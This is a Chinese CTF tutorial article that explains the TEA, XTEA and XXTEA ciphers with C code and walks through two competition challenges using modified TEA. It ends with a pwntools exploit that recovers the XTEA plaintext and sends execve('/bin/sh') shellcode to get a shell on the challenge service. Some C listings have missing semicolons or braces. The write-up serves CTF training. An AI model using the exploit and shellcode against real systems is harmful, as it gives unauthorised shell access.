tea系列算法速成总结及其在PWN中运用
2022-2-16 18:0:0 Author: mp.weixin.qq.com(查看原文) 阅读量:11 收藏

点击蓝字
关注我们
在安全学领域,TEA(Tiny Encryption Algorithm)是一种分组加密算法,它的实现非常简单,通常只需要很精短的几行代码。TEA 算法最初是由剑桥计算机实验室的 David Wheeler 和 Roger Needham 在 1994 年设计的。
TEA系列算法在目前较为基础的reserve题目中会较常出现,但是随着CTF的参赛人员质量的提高,以往一些在逆向较为常见的算法
也逐渐运用到pwn里面形成了新的题型RePwn,所以做为pwn手,对于逆向的学习是很有必要的。
目前,tea算法总共有3大类(魔改除外),tea,xtea,xxtea。
TEA算法的原理简单阐述就是每次加密2个元素,加密方式通过利用key schedule constant(关键时刻表常数)以及4位密钥
进行指定轮数的加减、位移以及异或操作,通常的轮数为32轮。

C语言实现TEA加密解密

#include <stdio.h>
 
//加密函数
void encrypt (unsigned int* v, unsigned int* k) {
unsigned int v0=v[0], v1=v[1], sum=0, i; /* set up */
unsigned int delta=0x9e3779b9/* a key schedule constant */
unsigned int k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */
for (i=0; i < 32; i++) { /* basic cycle start */
sum += delta;
v0 += ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
v1 += ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
/* end cycle */
v[0]=v0; v[1]=v1;
}
//解密函数
void decrypt (unsigned int* v, unsigned int* k) {
unsigned int v0=v[0], v1=v[1], sum=0xC6EF3720, i; /* set up */
unsigned int delta=0x9e3779b9/* a key schedule constant */
unsigned int k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */
for (i=0; i<32; i++) { /* basic cycle start */
v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
sum -= delta;
/* end cycle */
v[0]=v0; v[1]=v1;
}
 
int main()
{
unsigned int v[2]={6,9},k[4]={1,2,3,4};
// v为要加密的数据是两个32位无符号整数
// k为加密解密密钥,为4个32位无符号整数,即密钥长度为128位
printf("加密前原始数据:%u %u\n",v[0],v[1]);
encrypt(v, k);
printf("加密后的数据:%u %u\n",v[0],v[1]);
decrypt(v, k);
printf("解密后的数据:%u %u\n",v[0],v[1]);
return 0;
}
该算法为TEA算法的升级版,设计者是Roger Needham, David Wheeler。
XTEA算法相当于TEA算法来说,加密的时候对密钥进行了位移操作,同时也额外增加了一些异或操作。
本质上和TEA算法的差别不大

C语言实现XTEA加密解密

#include <stdio.h>
 
/* take 64 bits of data in v[0] and v[1] and 128 bits of key[0] - key[3] */
 
void encipher(unsigned int num_rounds, unsigned int v[2], unsigned int const key[4]) {
unsigned int i;
unsigned int v0=v[0], v1=v[1], sum=0, delta=0x9E3779B9;
for (i=0; i < num_rounds; i++) {
v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
sum += delta;
v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]);
}
v[0]=v0; v[1]=v1;
}
 
void decipher(unsigned int num_rounds, unsigned int v[2], unsigned int const key[4]) {
unsigned int i;
unsigned int v0=v[0], v1=v[1], delta=0x9E3779B9, sum=delta*num_rounds;
for (i=0; i < num_rounds; i++) {
v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]);
sum -= delta;
v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
}
v[0]=v0; v[1]=v1;
}
 
int main()
{
unsigned int v[2]={1,2};
unsigned int const k[4]={2,2,3,4};
unsigned int r=32;//num_rounds建议取值为32
// v为要加密的数据是两个32位无符号整数
// k为加密解密密钥,为4个32位无符号整数,即密钥长度为128位
printf("加密前原始数据:%u %u\n",v[0],v[1]);
encipher(r, v, k);
printf("加密后的数据:%u %u\n",v[0],v[1]);
decipher(r, v, k);
printf("解密后的数据:%u %u\n",v[0],v[1]);
return 0;
}
XXTEA是XTEA的升级版,设计者是Roger Needham, David Wheele.
XXTEA相较于XTEA以及TEA有了较大的变化,XXTEA算法使用128bit的密钥对以32bit为单位的信息块进行加密

C语言实现XXTEA加密解密

#include <stdio.h>
#define DELTA 0x9e3779b9
#define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z)))
 
void btea(unsigned int *v, int n, unsigned int const key[4])
{
unsigned int y, z, sum;
unsigned p, rounds, e;
if (n > 1/* Coding Part */
{
rounds = 6 + 52/n;
sum = 0;
z = v[n-1];
do
{
sum += DELTA;
e = (sum >> 2) & 3;
for (p=0; p<n-1; p++)
{
y = v[p+1];
z = v[p] += MX;
}
y = v[0];
z = v[n-1] += MX;
}
while (--rounds);
}
else if (n < -1/* Decoding Part */
{
n = -n;
rounds = 6 + 52/n;
sum = rounds*DELTA;
y = v[0];
do
{
e = (sum >> 2) & 3;
for (p=n-1; p>0; p--)
{
z = v[p-1];
y = v[p] -= MX;
}
z = v[n-1];
y = v[0] -= MX;
sum -= DELTA;
}
while (--rounds);
}
}
 
 
int main()
{
unsigned int v[2]= {1,2};
unsigned int const k[4]= {2,2,3,4};
int n= 2//n的绝对值表示v的长度,取正表示加密,取负表示解密
// v为要加密的数据是两个32位无符号整数
// k为加密解密密钥,为4个32位无符号整数,即密钥长度为128位
printf("加密前原始数据:%u %u\n",v[0],v[1]);
btea(v, n, k);
printf("加密后的数据:%u %u\n",v[0],v[1]);
btea(v, -n, k);
printf("解密后的数据:%u %u\n",v[0],v[1]);
return 0;
}
v是要加密的组元的起始地址,以32bit为单位,这里用long来实现。
n是要加密的组元个数,正数是加密,负数是解密。
k是密钥的起始地址,长度为4个组元,4*32=128bit。
返回值为0或1(对应n=0,没有计算)。
加密的结果会直接写回到v中。

2021长安杯线下赛

魔改TEA,需要注意的是题目数据大小端的问题,常规解TEA无法得到正确结果,需要自己转化。
密文部分
_BOOL8 __fastcall check_password(_BYTE *a1)
{
  encrypto((unsigned int *)a1);
  return *a1 == 0x14
      && a1[1] == 0x5C
      && a1[2] == 0xA6
      && a1[3] == 0xD2
      && a1[4] == 0xE
      && a1[5] == 0x45
      && a1[6] == 9
      && a1[7] == 119;
}
加密代码部分
__int64 __fastcall encrypto(unsigned int *a1)
{
  __int64 result; // rax
  int i; // [rsp+1Ch] [rbp-3Ch]
  unsigned int v3; // [rsp+20h] [rbp-38h]
  unsigned int v4; // [rsp+24h] [rbp-34h]
  unsigned int v5; // [rsp+28h] [rbp-30h]
  int v6[6]; // [rsp+38h] [rbp-20h]
  unsigned __int64 v7; // [rsp+50h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  v6[0] = 0x28371234;
  v6[1] = 0x19283543;
  v6[2] = 423118625;
  v6[3] = -1741216238;
  v3 = *a1;
  v4 = a1[1];
  v5 = 0;
  for ( i = 0; i <= 31; ++i )
  {
    v3 += (((v4 >> 5) ^ (16 * v4)) + v4) ^ (v6[v5 & 3] + v5);
    v5 -= 0x61C88647;
    v4 += (((v3 >> 5) ^ (16 * v3)) + v3) ^ (v6[(v5 >> 11) & 3] + v5);
  }
  *a1 = v3;
  result = v4;
  a1[1] = v4;
  return result;
}

2021广东大学生网络安全攻防大赛线下赛

动态XTEA算法
数据生成代码,利用time作为随机数种,随机生成加密的密钥以及明文。
int sub_C51()
{
  unsigned int v0; // eax

  puts("The game is initializing, please wait...");
  v0 = time(0LL);
  srand(v0);
  dword_202050[0] = rand();
  sleep(1u);
  dword_202048[0] = rand();
  sleep(1u);
  dword_202048[1] = rand();
  puts("Okay, the game starts now.");
  return printf("Your secret key :%u\n", dword_202050[0]);
}

密钥部分以及明文赋值
__int64 sub_CE2()
{
  int v1[4]; // [rsp+0h] [rbp-20h] BYREF
  int v2[4]; // [rsp+10h] [rbp-10h] BYREF

  v2[0] = 2730;
  v2[1] = 3003;
  v2[2] = 3276;
  v2[3] = 3549;
  v1[0] = dword_202048[0];
  v1[1] = dword_202048[1];
  return sub_B50(v1, v2, dword_202050);
}

加密部分
int __fastcall sub_B50(unsigned int *a1, _DWORD *a2, int a3)
{
  unsigned int i; // [rsp+30h] [rbp-10h]
  int v5; // [rsp+34h] [rbp-Ch]
  unsigned int v6; // [rsp+38h] [rbp-8h]
  unsigned int v7; // [rsp+3Ch] [rbp-4h]

  v7 = *a1;
  v6 = a1[1];
  v5 = 0;
  for ( i = 0; i <= 0x1F; ++i )
  {
    v5 += a3;
    v7 += (v6 + v5) ^ (16 * v6 + *a2) ^ ((v6 >> 5) + a2[1]);
    v6 += (v7 + v5) ^ (16 * v7 + a2[2]) ^ ((v7 >> 5) + a2[3]);
  }
  *a1 = v7;
  a1[1] = v6;
  return printf("Your gift:0x%x,0x%x\n", *a1, a1[1]);
}

EXP

from pwn import *
from ctypes import *
def get_shell(ip):
 global sh
 port=10000
 #sh = remote(ip, port)
 sh=process('./pwn')
 context.log_level='debug'
 #sh=remote('192.168.123.131',12000)
 sh.recvuntil('Your secret key :')
 key=int(sh.recv(10),10)
 print(key)
 sh.recvuntil("0x")
 leak1=int(sh.recv(8),16)
 print((leak1))
 sh.recvuntil("0x")
 leak2=int(sh.recv(8),16)
 print((leak2))
 #sh.interactive()
 a1= [(leak1),(leak2)]
 v7 = c_uint32(a1[0])
 v6 = c_uint32(a1[1])
 v5 = 0
 a3=(key)
 v5=c_uint32(a3*0x20)
 for i in range(0x20):
  v6.value -= ((v7.value + v5.value) ^ (16 * v7.value + 0xCCC) ^ ((v7.value >> 5) + 0xDDD))
  v7.value -= ((v6.value + v5.value) ^ (16 * v6.value + 0xAAA) ^ ((v6.value >> 5) + 0xBBB))
  v5.value -= (key)
 a1[0] = v7.value
 a1[1] = v6.value
 print(a1[0],a1[1])
 #sh.interactive()
 sh.recv()
 sh.sendline(str(a1[0])+(",")+str(a1[1]))
 sh.sendline("A")
 sh.recv()
 sh.sendline("1638")
 sh.recv()
 context.arch = 'amd64'
 code = '''
 mov rax, 0x68732f6e69622f;
 push rax
 mov rdi, rsp;
 mov rsi, 0;
 xor rdx, rdx;
 mov rax, 59;
 syscall
 '''

 sc = asm(code)
 #sh.sendline("\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\xeb\x08\x90\x90\x90\x90\x90\x90\x90\x90\x52\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20")
 sh.sendline("\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\xeb\x08\x90\x90\x90\x90\x90\x90\x90\x90\x52\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05")
 print(len("\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\xeb\x08\x90\x90\x90\x90\x90\x90\x90\x90\x52\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"))
 print(len(sc))
 sh.interactive()
 return sh
get_shell(1)

广东省线下赛题目链接

链接:https://pan.baidu.com/s/12_tngnxx7dGt4N5PcnEvJg?pwd=hgc5 提取码:hgc5 --来自百度网盘超级会员V3的分享

TEA,XTEA

对于TEA AND XTEA来说,本质上二者无太大的区别,由于异或的特性,异或n次加密再异或n次就能解密,
所以对于加密算法中括号的数据处理方法一概可以忽略,我们需要变换的只是数据处理顺序以及讲加法改减法(减法改加法)
注意,tea系列算法的数据处理必定都是2个元素为一组去处理。

XXTEA

XXTEA算法的解密同样只是对加密算法的数据处理顺序进行倒置,同时加法改减法(减法改加法)
原创稿件征集

征集原创技术文章中,欢迎投递

投稿邮箱:[email protected]

文章类型:黑客极客技术、信息安全热点安全研究分析安全相关

通过审核并发布能收获200-800元不等的稿酬。

更多详情,点我查看!

体验靶场实操,戳“阅读原文”体验

文章来源: http://mp.weixin.qq.com/s?__biz=MjM5MTYxNjQxOA==&mid=2652885636&idx=1&sn=e063a6fbd8b516f348f9d136bbd531aa&chksm=bd59ae498a2e275f77b3877a76e08f83ec4e1a22e338e841b2b450585218dd9286b5cac22346#rd
如有侵权请联系:admin#unsafe.sh